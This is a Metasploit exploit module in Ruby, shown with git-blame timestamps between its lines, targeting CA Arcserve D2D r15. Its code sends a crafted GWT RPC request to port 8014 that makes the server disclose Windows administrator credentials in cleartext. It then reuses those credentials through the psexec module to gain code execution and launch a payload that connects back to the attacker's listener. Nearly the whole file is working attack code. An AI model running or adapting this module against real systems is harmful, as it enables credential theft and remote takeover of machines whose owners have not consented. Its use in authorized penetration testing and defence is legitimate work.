2011-08-01 14:40:52 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-08-01 14:40:52 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'CA Arcserve D2D GWT RPC Credential Information Disclosure',
|
|
|
|
'Description' => %q{
|
2011-10-17 03:49:49 +00:00
|
|
|
This module exploits an information disclosure vulnerability in the CA Arcserve
|
|
|
|
D2D r15 web server. The information disclosure can be triggered by sending a
|
2011-08-01 14:40:52 +00:00
|
|
|
specially crafted RPC request to the homepage servlet. This causes CA Arcserve to
|
|
|
|
disclosure the username and password in cleartext used for authentication. This
|
|
|
|
username and password pair are Windows credentials with Administrator access.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'bannedit', # metasploit module
|
|
|
|
'rgod', # original public exploit
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2012-03-20 14:01:59 +00:00
|
|
|
[ 'EDB', 17574 ],
|
2011-08-01 14:40:52 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00\x0d\x0a",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', { } ],
|
|
|
|
],
|
2012-02-11 01:44:03 +00:00
|
|
|
'DisclosureDate' => 'Jul 25 2011',
|
2011-08-01 14:40:52 +00:00
|
|
|
'DefaultTarget' => 0))
|
2011-11-28 04:42:59 +00:00
|
|
|
|
2011-08-01 14:40:52 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8014),
|
|
|
|
], self.class )
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
|
2011-08-01 21:20:29 +00:00
|
|
|
|
|
|
|
data = "5|0|4|"
|
|
|
|
data << "http://#{datastore['RHOST']}:#{datastore['RPORT']}"
|
|
|
|
data << "/contents/"
|
|
|
|
data << "|2C6B33BED38F825C48AE73C093241510|"
|
|
|
|
data << "com.ca.arcflash.ui.client.homepage.HomepageService"
|
|
|
|
data << "|getLocalHost|1|2|3|4|0|"
|
|
|
|
|
2011-08-01 14:40:52 +00:00
|
|
|
cookie = "donotshowgettingstarted=%7B%22state%22%3Atrue%7D"
|
|
|
|
|
2011-10-19 20:41:09 +00:00
|
|
|
res = send_request_raw({
|
2011-08-01 14:40:52 +00:00
|
|
|
'uri' => '/contents/service/homepage',
|
|
|
|
'version' => '1.1',
|
|
|
|
'method' => 'POST',
|
|
|
|
'cookie' => cookie,
|
|
|
|
'data' => data,
|
2011-10-17 03:49:49 +00:00
|
|
|
'headers' =>
|
2011-08-01 14:40:52 +00:00
|
|
|
{
|
|
|
|
'Content-Type' => "text/x-gwt-rpc; charset=utf-8",
|
|
|
|
'Content-Length' => data.length
|
|
|
|
}
|
|
|
|
}, 5)
|
|
|
|
|
2011-10-19 20:41:09 +00:00
|
|
|
resp = res.to_s.split(',')
|
2011-08-11 09:03:19 +00:00
|
|
|
|
|
|
|
user_index = resp.index("\"user\"")
|
|
|
|
pass_index = resp.index("\"password\"")
|
|
|
|
|
|
|
|
if user_index.nil? or pass_index.nil?
|
|
|
|
#We don't find 'user' or 'password', we'll just set them as nil,
|
|
|
|
#and then handle it later after report_auth_info()
|
|
|
|
user = nil
|
|
|
|
pass = nil
|
|
|
|
else
|
|
|
|
user = resp[user_index+1].gsub(/\"/, "")
|
|
|
|
pass = resp[pass_index+1].gsub(/\"/, "")
|
|
|
|
end
|
2011-10-19 20:41:09 +00:00
|
|
|
|
2011-08-01 14:40:52 +00:00
|
|
|
# report the auth
|
|
|
|
auth = {
|
|
|
|
:host => datastore['RHOST'],
|
2011-10-19 20:41:09 +00:00
|
|
|
:port => 445,
|
|
|
|
:sname => 'smb',
|
|
|
|
:proto => 'tcp',
|
2011-08-01 14:40:52 +00:00
|
|
|
:user => user,
|
|
|
|
:pass => pass,
|
|
|
|
:active => true
|
|
|
|
}
|
|
|
|
report_auth_info(auth)
|
|
|
|
|
2011-10-19 20:41:09 +00:00
|
|
|
srvc = {
|
|
|
|
:host => datastore['RHOST'],
|
|
|
|
:port => datastore['RPORT'],
|
|
|
|
:proto => 'tcp',
|
|
|
|
:name => 'http',
|
|
|
|
:info => res.headers['Server']
|
|
|
|
}
|
|
|
|
report_service(srvc)
|
|
|
|
if user.nil? or pass.nil?
|
2011-08-01 14:40:52 +00:00
|
|
|
print_error("Failed to collect the username and password")
|
|
|
|
return
|
|
|
|
end
|
2011-08-01 19:34:01 +00:00
|
|
|
|
2011-08-01 14:40:52 +00:00
|
|
|
print_good("Collected credentials User: '#{user}' Password: '#{pass}'")
|
|
|
|
|
|
|
|
# try psexec on the remote host
|
|
|
|
psexec = framework.exploits.create("windows/smb/psexec")
|
|
|
|
psexec.register_parent(self)
|
|
|
|
|
|
|
|
psexec.datastore['PAYLOAD'] = self.datastore['PAYLOAD']
|
|
|
|
|
|
|
|
if self.datastore['LHOST'] and self.datastore['LPORT']
|
2011-08-01 19:34:01 +00:00
|
|
|
psexec.datastore['LHOST'] = self.datastore['LHOST']
|
|
|
|
psexec.datastore['LPORT'] = self.datastore['LPORT']
|
2011-08-01 14:40:52 +00:00
|
|
|
end
|
|
|
|
|
2011-08-01 19:34:01 +00:00
|
|
|
psexec.datastore['RHOST'] = self.datastore['RHOST']
|
2011-08-01 14:40:52 +00:00
|
|
|
|
|
|
|
psexec.datastore['DisablePayloadHandler'] = true
|
|
|
|
psexec.datastore['SMBPass'] = pass
|
|
|
|
psexec.datastore['SMBUser'] = user
|
|
|
|
|
|
|
|
print_status("Attempting to login via windows/smb/psexec")
|
|
|
|
|
|
|
|
# this is kind of nasty would be better to split psexec code out to a mixin (on the TODO List)
|
|
|
|
begin
|
|
|
|
psexec.exploit_simple(
|
|
|
|
'LocalInput' => self.user_input,
|
|
|
|
'LocalOutput' => self.user_output,
|
|
|
|
'Payload' => psexec.datastore['PAYLOAD'],
|
|
|
|
'RunAsJob' => true
|
|
|
|
)
|
|
|
|
rescue
|
2011-08-01 19:34:01 +00:00
|
|
|
print_status("Login attempt using windows/smb/psexec failed")
|
2011-08-01 14:40:52 +00:00
|
|
|
print_status("Credentials have been stored and may be useful for authentication against other services.")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
2011-08-01 21:20:29 +00:00
|
|
|
end
|